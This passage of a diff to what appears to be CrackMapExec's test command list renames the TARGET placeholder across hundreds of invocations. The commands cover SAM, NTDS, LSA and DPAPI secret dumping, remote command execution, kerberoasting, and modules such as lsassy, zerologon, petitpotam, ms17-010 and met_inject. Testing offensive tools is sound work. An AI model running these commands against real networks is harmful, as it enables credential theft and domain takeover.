USERNAME -p PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --local-auth -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --sam -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --ntds -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --lsa -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --dpapi -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -x whoami -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -X whoami -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -X whoami --obfs -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --wmi "select Name from win32_computersystem" +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS # need an extra space after this command due to regex +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --shares +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --shares --filter-shares READ WRITE +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --pass-pol +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --disks +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --groups +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --sessions +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --loggedon-users +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --users +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --computers +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --rid-brute +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --local-groups +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --local-auth +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --sam +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --ntds +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --lsa +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --dpapi +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -x whoami +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -X whoami +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -X whoami --obfs +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --wmi "select Name from win32_computersystem" ##### SMB Modules -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -L -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M bh_owned -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M dfscoerce -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc -o CLEANUP=True -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener OBFUSCATE=True -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_av -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M firefox -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M get_netconnections -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_autologin -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_password -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M handlekatz -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M handlekatz --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M handlekatz -o HANDLEKATZ_EXE_NAME="hk.exe" -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M hash_spider -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M impersonate -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M install_elevated -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ioxidresolver +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -L +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M bh_owned +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M dfscoerce +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M drop-sc +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M drop-sc --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M drop-sc -o CLEANUP=True +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener OBFUSCATE=True +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M enum_av +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M enum_dns +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M enum_dns --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M firefox +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M get_netconnections +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M gpp_autologin +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M gpp_password +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M handlekatz +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M handlekatz --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M handlekatz -o HANDLEKATZ_EXE_NAME="hk.exe" +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M hash_spider +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M impersonate +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M install_elevated +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ioxidresolver # currently hanging indefinitely - TODO: look into this -#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_discover -#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml" -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M lsassy +#crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M keepass_discover +#crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml" +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M lsassy # You must replace this with the proper CA information! -#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA" -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345 -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ms17-010 -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M msol -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nanodump -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nopac -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntdsutil -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntlmv1 -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M petitpotam -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M procdump -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdcman -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=enable -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=disable -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M runasppl -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M shadowcoerce -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M slinky -o NAME=test CLEANUP=True +#crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA" +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345 +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ms17-010 +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M msol +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M nanodump +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M nopac +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ntdsutil +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ntlmv1 +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M petitpotam +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M procdump +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M rdcman +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M rdp --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=enable +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=disable +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M runasppl +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M shadowcoerce +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M slinky -o NAME=test CLEANUP=True # spider_plus takes a while to run, so it is commented out during normal testing -# crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spider_plus -o MAX_FILE_SIZE=100 -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spooler -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M teams_localdb -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M test_connection --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M test_connection -o HOST=localhost -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M uac -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M veeam -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wdigest --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wdigest -o ACTION=enable -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wdigest -o ACTION=disable -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M web_delivery --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M webdav -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M webdav --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M webdav -o MSG="Message: {}" -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wifi -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M winscp -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M zerologon -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M bh_owned --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M dfscoerce --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_av --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M firefox --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M get_netconnections --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_autologin --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_password --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M hash_spider --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M impersonate --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M install_elevated --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ioxidresolver --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_discover --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M lsassy --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M masky --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M met_inject --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ms17-010 --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M msol --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nanodump --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nopac --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntdsutil --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntlmv1 --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M petitpotam --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M procdump --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdcman --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M reg-query --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M runasppl --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M scuffy --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M shadowcoerce --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M slinky --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spider_plus --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spooler --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M teams_localdb --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M uac --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M veeam --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wifi --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M winscp --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M zerologon --options +# crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M spider_plus -o MAX_FILE_SIZE=100 +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M spooler +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M teams_localdb +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M test_connection --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M test_connection -o HOST=localhost +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M uac +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M veeam +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M wdigest --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M wdigest -o ACTION=enable +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M wdigest -o ACTION=disable +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M web_delivery --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M webdav +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M webdav --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M webdav -o MSG="Message: {}" +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M wifi +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M winscp +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M zerologon +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M bh_owned --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M dfscoerce --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M empire_exec --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M enum_av --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M firefox --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M get_netconnections --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M gpp_autologin --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M gpp_password --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M hash_spider --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M impersonate --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M install_elevated --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ioxidresolver --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M keepass_discover --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M lsassy --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M masky --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M met_inject --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ms17-010 --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M msol --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M nanodump --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M nopac --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ntdsutil --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ntlmv1 --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M petitpotam --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M procdump --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M rdcman --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M reg-query --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M runasppl --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M scuffy --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M shadowcoerce --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M slinky --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M spider_plus --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M spooler --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M teams_localdb --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M uac --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M veeam --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M wifi --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M winscp --options +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M zerologon --options ##### SMB Anonymous Auth -crackmapexec smb TARGET -u '' -p '' -M zerologon -crackmapexec smb TARGET -u '' -p '' -M petitpotam +crackmapexec smb TARGET_HOST -u '' -p '' -M zerologon +crackmapexec smb TARGET_HOST -u '' -p '' -M petitpotam ##### LDAP -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --users -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --groups -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --get-sid -crackmapexec ldap TARGET -u USERNAME -p '' --asreproast /tmp/output.txt -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --kerberoasting /tmp/output2.txt -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --trusted-for-delegation -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --admin-count -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --gmsa +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --users +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --groups +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --get-sid +crackmapexec ldap TARGET_HOST -u USERNAME -p '' --asreproast /tmp/output.txt +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --kerberoasting /tmp/output2.txt +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --trusted-for-delegation +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --admin-count +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --gmsa ##### LDAP Modules -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -L -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M adcs -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M adcs --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M daclread -o TARGET=USERNAME ACTION=read -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M daclread --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-desc-users -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-desc-users --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-network -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-network --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M groupmembership --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M groupmembership -o USER=USERNAME -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M laps -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M laps --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M ldap-checker -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M ldap-checker --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M maq -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M maq --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M subnets -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M subnets --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M user-desc -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M user-desc --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M whoami -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M whoami --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -L +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M adcs +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M adcs --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M daclread -o TARGET=USERNAME ACTION=read +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M daclread --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M get-desc-users +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M get-desc-users --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M get-network +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M get-network --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M groupmembership --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M groupmembership -o USER=USERNAME +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M laps +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M laps --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ldap-checker +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M ldap-checker --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M maq +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M maq --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M subnets +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M subnets --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M user-desc +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M user-desc --options +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M whoami +crackmapexec ldap TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M whoami --options ##### WINRM -crackmapexec winrm TARGET -u USERNAME -p PASSWORD KERBEROS # need an extra space after this command due to regex -crackmapexec winrm TARGET -u USERNAME -p PASSWORD KERBEROS -X whoami -crackmapexec winrm TARGET -u USERNAME -p PASSWORD KERBEROS --laps -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS +crackmapexec winrm TARGET_HOST -u USERNAME -p PASSWORD KERBEROS # need an extra space after this command due to regex +crackmapexec winrm TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -X whoami +crackmapexec winrm TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --laps +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS ##### MSSQL -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS ##### MSSQL Modules -# 